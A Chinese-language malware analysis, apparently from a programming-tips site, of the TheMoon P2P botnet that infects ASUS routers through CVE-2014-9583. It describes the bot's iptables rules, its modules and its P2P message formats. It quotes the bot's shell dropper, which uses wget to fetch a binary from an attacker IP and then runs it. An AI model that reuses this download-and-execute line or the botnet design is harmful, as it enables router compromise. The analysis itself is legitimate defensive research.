详解感染华硕路由器的P2P僵尸网络程序
(福利推荐:你还在原价购买阿里云服务器?现在阿里云0.8折限时抢购活动来啦!4核8G企业云服务器仅2998元/3年,立即抢购>>>:9i0i.cn/aliyun)
僵尸网络是指采用一种或多种传播手段,是指实现恶意控制功能的程序代码,在控制者和被感染主机之间所形成的一个可一对多控制的网络。
下图是利用wireshark抓包捕获的僵尸程序攻击流量,可看出僵尸程序使用了CVE-2014-9583漏洞利用代码。
CVE-2014-9583 :ASUS WRT是华硕(ASUS)公司的一个路由器固件。RT-AC66U、RT-N66U等多款路由器中使用的ASUS WRT的infosvr中的common.c文件中存在安全漏洞,该漏洞源于程序没有正确检查请求的MAC地址。远程攻击者可通过向UDP 9999端口发送NET_CMD_ID_MANU_CMD数据包利用该漏洞绕过身份验证,执行任意命令。详情参见GitHub
以下是bot从网站http://78.128.92.137:80/ 自动下载的nmlt1.sh文件内容
#!/bin/sh
cd /tmp
rm -f .nttpd
wget -O .nttpd http://78.128.92.137/.nttpd,17-mips-le-t1
chmod +x .nttpd
./.nttpd
路由器将会从攻击者控制的网站上自动下载并执行.nttpd文件,.nttpd运行后将成为驻留进程。以下为.nttpd文件哈希信息
该bot程序属于TheMoon恶意软件系列,程序结构如下:
该bot程序主要不同在于os_init和 run_modules函数,os_init中插入了8个iptables规则:
为了获得感染设备的绝对控制权,防止反复感染,其中第一条规则通过关闭端口9999,阻止其它攻击者利用华硕CVE-2014-9583漏洞;第二条规则是关闭多个端口,阻止其它攻击者利用D-Link的一个远程命令执行漏洞。其余为bot程序建立的网络通信规则。
在run_modules中,bot加载了3个模块:CLK 、NET、DWL,我们依次来做分析:
CLK模块
该模块加载了两个线程,一个用来计时,一个用来同步,它通过查询公开NTP服务器保持UTC时间。抓包发现bot与NTP服务器之间的请求回应流量
Net模块
该模块开启了UDP 5143端口,并创建了一个P2P通信线程。值得注意的是,与通常的端口通信不同,该bot程序支持3种不特定的消息类型。
Register message
RegisterTo message
FetchCommand message
每种类型都包含相同的头结构:
Offset Size Description
0 1 Body length
1 1 Message Type
2 1 TTL
3 1 0x8F (variant specific)
当bot接收到消息时,TTL值以1递减,并把消息转发给其它对等结点(peer),下图为向其它peer节点转发消息的底层代码
Register message(注册消息)
该消息类型标记为0,当所有模块加载完毕,消息将被转发给其它对等网络,包括iptables规则中的其它网络:
消息体由两个双字字符串组成,其中0x6d6163f4为特定变量,而00000xx为对等网络值。在转发完该消息类型之后,bot程序会自动把发送方添加为自身对等结点(peer),以此扩大传播感染面。
RegistertTo message(判断消息)
该消息类型标记也为0,但消息体为12个字节。如果第三个双字字符不为0,程序将会向特定IP发送register message消息进行注册。否则,将会向发送方持续请求register message,保持通信。下图为bot程序接收到的Register To消息流量包
FetchCommand message (控制消息)
该消息类型标记为1,消息体结构如下:
Offset Size Description
0 4 Peer IP address
4 4 Command id
8 4 Command size (Maximum 0x19001)
12 n file name(n8)
以下为bot接收到的FetchCommand消息流量包
之后,bot程序会把消息内容储存在Pending Command内为后续DWL模块使用:
Struct PendingCommand
{
DWORD ip;
DWORD cmd_id;
DWORD cmd_size;
CHAR filename[8];
};
DWL模块
该模块创建读取PendingCommand内容的进程,之后,程序通过TCP 4543端口向特定IP发送请求文件名和命令ID:
特定IP返回请求文件,bot储存响应信息并执行文件。下图为请求执行过程的底层实现代码:
总结
TheMoon恶意软件于2014年被SANS发现,主要以路由器为目标,利用漏洞植入感染。从底层代码来看,TheMoon还以华硕(ASUS)和 Linksys路由器为特定目标。通过分析可以看出,TheMoon使用iptables规则进行通信的P2P感染机制还不太成熟,另外,其不加密的通信可被轻易发现和分析。
以上就是程序员之家小编为大家讲解的感染华硕路由器的P2P僵尸网络程序的教程,需要的用户快来看看吧,想了解更多精彩教程请继续关注程序员之家网站!
推荐文章:
新型WiFi系统 MegaMIMO 2.0三倍速 解决信号差、上网慢问题
相关文章
- WIFI为了防止别人蹭网.要经常的修改密码2015-05-12
- 我住的小区可搜索到几个无线网络,信号都很弱,有一个没有密码,但是很少能连上。2015-05-13
电信光纤猫与TP-LINK无线路由器连接设置向导图文详细介绍
首先,由于HG330和TP-Link路由器默认地址都是192.168.1.1,需要将台式机的网线直接连接到TP-Link路由器的LAN接口,然后在浏览器中键入192.168.1.1,输入用户名和密码(默认2013-09-01- 在我们常用的Windows XP操作系统中,系统默认的MTU值为1500,这是一个标准以太网的设置值,并不适合宽带网络2012-11-14
- 很多朋友会把自己的wifi密码给忘记了,今天小编就为大家带来一个简单的方法,既不用进入路由器查看,也不需要下载密码查看器,只需使用windows系统的自带功能即可,下面就2014-12-23
- 今天朋友入手了一款华为无线路由器,找我给帮忙设置下,通过参考下面的图文方法顺利解决,特分享一下,方便需要的朋友2012-10-15
- 本文为大家介绍两种可以用一根网线连接2个或多个路由器的方法,虽然用一根网线连接2个或多个路由器的方法不止两个,但是小编觉得这两种方法是最好用最简单的,一起来看看吧2014-02-15
- 我的电脑密码丢失有的时候重新安装系统就可以,但ADSL拨号密码忘记了还得拿自己的证件到运营商那里去处理,那么宽带连接密码忘记了怎么办?下面小编就为大家介绍查看宽带密2015-02-09
- 我不小心把家里的路由器恢复了出厂设置,然后再连接的时候,发现连接不了网络了。不通过路由器可以直接用宽带连接2012-11-06
最新评论